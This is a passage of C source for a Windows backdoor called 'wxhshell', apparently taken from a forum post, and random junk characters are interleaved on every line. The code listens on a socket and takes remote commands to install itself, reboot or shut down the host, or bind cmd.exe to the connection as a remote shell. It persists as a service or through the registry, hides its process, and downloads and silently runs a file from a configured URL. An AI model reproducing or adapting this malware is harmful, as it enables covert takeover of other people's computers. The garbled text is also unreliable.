g6 EdCG.V  
    switch(cmd[0]) { xG0IA 7  
  w=\Lw+X  
  // 帮助 YXXUYi~!f  
  case '?': { Z:aDKAboU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nMc3.fM  
    break; Mh'QD)28c  
  } I2("p.+R  
  // 安装 T:x5 ,vpM  
  case 'i': { [bkMl+:/HG  
    if(Install()) @eMDRbgq;[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M xj  
    else AoyU1MR(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! e6;@*  
    break; 5:9Ay ?  
    } VpMpZ9oM<  
  // 卸载 xtf]U:c  
  case 'r': { uxk&5RY  
    if(Uninstall()) *2crhI*@>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >JS\H6  
    else {y<[1Pms  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L5%~H?K(  
    break; /tA$ 'tZ  
    } M]!\X6<_  
  // 显示 wxhshell 所在路径 w<j6ln+nM  
  case 'p': { ;+K:^*oJ  
    char svExeFile[MAX_PATH]; kac@yQD  
    strcpy(svExeFile,"\n\r"); @;_r `AT7  
      strcat(svExeFile,ExeFile); DU$]e1  
        send(wsh,svExeFile,strlen(svExeFile),0); \*6%o0c  
    break; :Oo  
    } kM]:~b2  
  // 重启 aAO[Y"-:,Y  
  case 'b': { qhVDC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KL*ZPKG  
    if(Boot(REBOOT)) Gh0H) q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xRja(d6  
    else { 3O%[k<S\VO  
    closesocket(wsh); liFNJd`|o+  
    ExitThread(0); : Ey  
    } /a17B  
    break; = sedkrM  
    } 4nkH0dJQ  
  // 关机 k='sI^lF  
  case 'd': { D9e"E1f+"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e%x$Cb:znn  
    if(Boot(SHUTDOWN)) 0 sVCTJ@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MdU_zY(c  
    else { tc@v9`^_  
    closesocket(wsh); ih2H~c>O  
    ExitThread(0); B$g!4C `g  
    } ~b5aT;ObR  
    break; S+|aCRS  
    } !6|Kpy8  
  // 获取shell L':;Vv~-  
  case 's': { eOy{]< l3  
    CmdShell(wsh); TWl':}  
    closesocket(wsh); kP%'{   
    ExitThread(0); *La*j3|:  
    break; dGQxGt1  
  } QpS0iUG  
  // 退出 Kr=DoQ."d8  
  case 'x': { N:0/8jmmO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nk1(/~`  
    CloseIt(wsh); 9%oLv25{)  
    break; ]jG%<j9A  
    } W5$jIQ}Bw  
  // 离开 Z4}Yw{=f  
  case 'q': { Y[$[0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FOB9CsMe  
    closesocket(wsh); 1>b kVA  
    WSACleanup(); W>dS@;E  
    exit(1); 4a>z]&s  
    break; b'Z#RIb  
        } _.J{U0N  
  } ^w^cYM,  
  } W6&" .2  
/+2^xEIjE  
  // 提示信息 @`k!7? Sq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ee9u7TFT  
} s?=f,I  
  } ,bmiIW%  
#g4X`AHB  
  return; xex/L%!Rj  
} 6;dB   
gTW(2?xYf  
// shell模块句柄 zi2hi9A  
int CmdShell(SOCKET sock) #$K\:V+ 4  
{ P`[6IS#\S  
STARTUPINFO si; #1z}~1-  
ZeroMemory(&si,sizeof(si)); $]\N/}1v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j!&g:{ e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +;`Cm.Iu  
PROCESS_INFORMATION ProcessInfo; /QHvwaW[  
char cmdline[]="cmd"; o&rejj#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9g J`H'  
  return 0; mY(~94{d  
} PPDm*,T.  
.pu]21m=  
// 自身启动模式 y M , hF  
int StartFromService(void) |w6:mtaS  
{ +H/^RvUjF  
typedef struct !s\-i6S>  
{ M<"&$qZ$R  
  DWORD ExitStatus; D?qA aq&4  
  DWORD PebBaseAddress; dy, ,x  
  DWORD AffinityMask; T*J]e|aF  
  DWORD BasePriority; 0u QqPF t  
  ULONG UniqueProcessId; Wxb/|?,  
  ULONG InheritedFromUniqueProcessId; hX$k8 o0  
}   PROCESS_BASIC_INFORMATION; GpN tvo~  
}UHuFff,  
PROCNTQSIP NtQueryInformationProcess; 76} N/C  
0mH>fs 4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; oO$a4|&,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q<r{ps  
1`5d~>fV  
  HANDLE             hProcess; qW][Q%'lt  
  PROCESS_BASIC_INFORMATION pbi; Th`IpxV  
oVb6,Pn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]^VC@$\)+  
  if(NULL == hInst ) return 0; zvdtP'&uj  
~( -B%Az  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pf]6'?kQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3VB{Qj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $eX; 2  
4tCyd5u a8  
  if (!NtQueryInformationProcess) return 0; m-5Dbx!j  
zYYc#N/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E >KV1P  
  if(!hProcess) return 0; IBQmm(+v  
tE9%;8;H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; syv6" 2Z'B  
Xko[Z;4v8'  
  CloseHandle(hProcess); K) sO  
opjrU$<]N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NL0X =i  
if(hProcess==NULL) return 0; "npj%O<bd  
)<1M'2  
HMODULE hMod; ] 5YG*sD4  
char procName[255]; LC*@ /((  
unsigned long cbNeeded; bxc#bl3  
IM}#k$vM:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J ;i/X;^  
r_-iOxt~5  
  CloseHandle(hProcess); %S]5wR6;_  
c+_F nA  
if(strstr(procName,"services")) return 1; // 以服务启动 g Uy >I(  
@PU%BKe  
  return 0; // 注册表启动 ,N< xyx.  
} xx#; )]WT  
)`,3/i9C$  
// 主模块 X[(u]h`  
int StartWxhshell(LPSTR lpCmdLine) gK9@-e  
{ jQj`GnN|  
  SOCKET wsl; Fj7cI +  
BOOL val=TRUE; (m-(5 CaJ  
  int port=0; D5]T.8kX(7  
  struct sockaddr_in door; O6YYOmt3  
BQ)zm  
  if(wscfg.ws_autoins) Install(); lmp0Ye|  
m mu{K$9}I  
port=atoi(lpCmdLine); ORA +>  
@L=xY[&{  
if(port<=0) port=wscfg.ws_port; Zvk O#j  
cmZ39pjBJ  
  WSADATA data; <nvz*s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !n}"D:L(  
R3jhq3F\Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mf<P ms\F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MJt?^G (w?  
  door.sin_family = AF_INET; V'mQ {[{R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C^2Tql  
  door.sin_port = htons(port); \.POb5]p0  
aHXd1\6m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tOn/r@Fd^E  
closesocket(wsl); 4Bd[r7  
return 1; H .JA)*b-  
} ,&Gn7[<  
*=$Jv1"Q +  
  if(listen(wsl,2) == INVALID_SOCKET) { bsmZR(EnU  
closesocket(wsl); bf VKf}  
return 1; X) owj7U;  
} ) 'j7Ra  
  Wxhshell(wsl); l7ZqkGG]  
  WSACleanup(); cDYKvrPY  
BB.^-0up  
return 0; AcwLs%'sx  
f2`[skNj  
} dli?/U@hO  
Ww{bh -nyq  
// 以NT服务方式启动 uv%T0JA/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7s4G|N[wR\  
{ ?rKewdGY  
DWORD   status = 0; ,j:`yB]4,  
  DWORD   specificError = 0xfffffff; 0/6f9A  
~dkS-6q~Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z]@my,+Z;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ey_3ah3x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,ZHIXylZ  
  serviceStatus.dwWin32ExitCode     = 0; QgqR93Ic  
  serviceStatus.dwServiceSpecificExitCode = 0; dAh&Z:86\  
  serviceStatus.dwCheckPoint       = 0; eBFsKOtu  
  serviceStatus.dwWaitHint       = 0; %|*tL7  
sy.FMy+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _rdEur C6  
  if (hServiceStatusHandle==0) return; FMc$?mm  
I% ivY  
status = GetLastError(); mp*&{[XoVC  
  if (status!=NO_ERROR) hbl:~O&a/  
{ H{x'I@+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; % r`hW \4{  
    serviceStatus.dwCheckPoint       = 0; )>QpR8 G-  
    serviceStatus.dwWaitHint       = 0; ^RAst1q7  
    serviceStatus.dwWin32ExitCode     = status; <'>c`80@\*  
    serviceStatus.dwServiceSpecificExitCode = specificError; v,I4ozDx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ve49m%NQ  
    return; DI{VJ&n66  
  } E z?O gE{  
I q]+O Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -y|>#`T/  
  serviceStatus.dwCheckPoint       = 0; S1p 4.qJ  
  serviceStatus.dwWaitHint       = 0; [_Fj2nb*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <U%4$83$  
} U>H"N1  
r7+"i9  
// 处理NT服务事件,比如:启动、停止 2F%2K?$`Ej  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CBN,~wzP*  
{ uD0T()J.P5  
switch(fdwControl) H*51GxK  
{ >r1cW7  
case SERVICE_CONTROL_STOP: mM0VUSy  
  serviceStatus.dwWin32ExitCode = 0; -+?ZJ^A   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wX Z"}uT<}  
  serviceStatus.dwCheckPoint   = 0; G8z.JX-7g  
  serviceStatus.dwWaitHint     = 0; "m,)3zND3  
  { R&KFF'%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |(u6xPs;P  
  } <|8N\FU{  
  return; p{ X?_F  
case SERVICE_CONTROL_PAUSE: JN)@bP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NXo$rf:  
  break; 0`UI^Y~Q  
case SERVICE_CONTROL_CONTINUE: I!1|);li  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >!sxX = <  
  break; *lyy|3z  
case SERVICE_CONTROL_INTERROGATE: ~8:q-m_h  
  break; dD YD6  
}; ~+|Vzm|S}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0h/bC)z  
} =\~<##sRJ  
u#!QIQW  
// 标准应用程序主函数 tf[)Q:|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a;bmZh  
{ #djby}hi  
m&vuBb3  
// 获取操作系统版本 RwKnNIp  
OsIsNt=GetOsVer(); >vQ8~*xd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .JCd:'-  
L7\V^f%yCm  
  // 从命令行安装 Rtpk_ND!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9UDanj P  
\.ukZqB3 0  
  // 下载执行文件 f|f)Kys%5  
if(wscfg.ws_downexe) { W%@r   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eF-U 1ZJT  
  WinExec(wscfg.ws_filenam,SW_HIDE); R&.mNji*  
} _cvA1Q"  
tVQq,_9C  
if(!OsIsNt) { jRiXN %  
// 如果时win9x,隐藏进程并且设置为注册表启动 #No3}O;"g  
HideProc(); 8=!uQQ  
StartWxhshell(lpCmdLine); x994B@\j+  
} .>#X*u  
else W {A4*{  
  if(StartFromService()) J4?i\wD:  
  // 以服务方式启动 M h"X9-Ot  
  StartServiceCtrlDispatcher(DispatchTable); 6mV-+CnYC  
else w1Txz4JqB  
  // 普通方式启动 qXqGhHoe;  
  StartWxhshell(lpCmdLine); #ZkT![ `  
w.VjGPp  
return 0; sGFvSW  
}
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只看该作者 1 发表于: 2006-10-10
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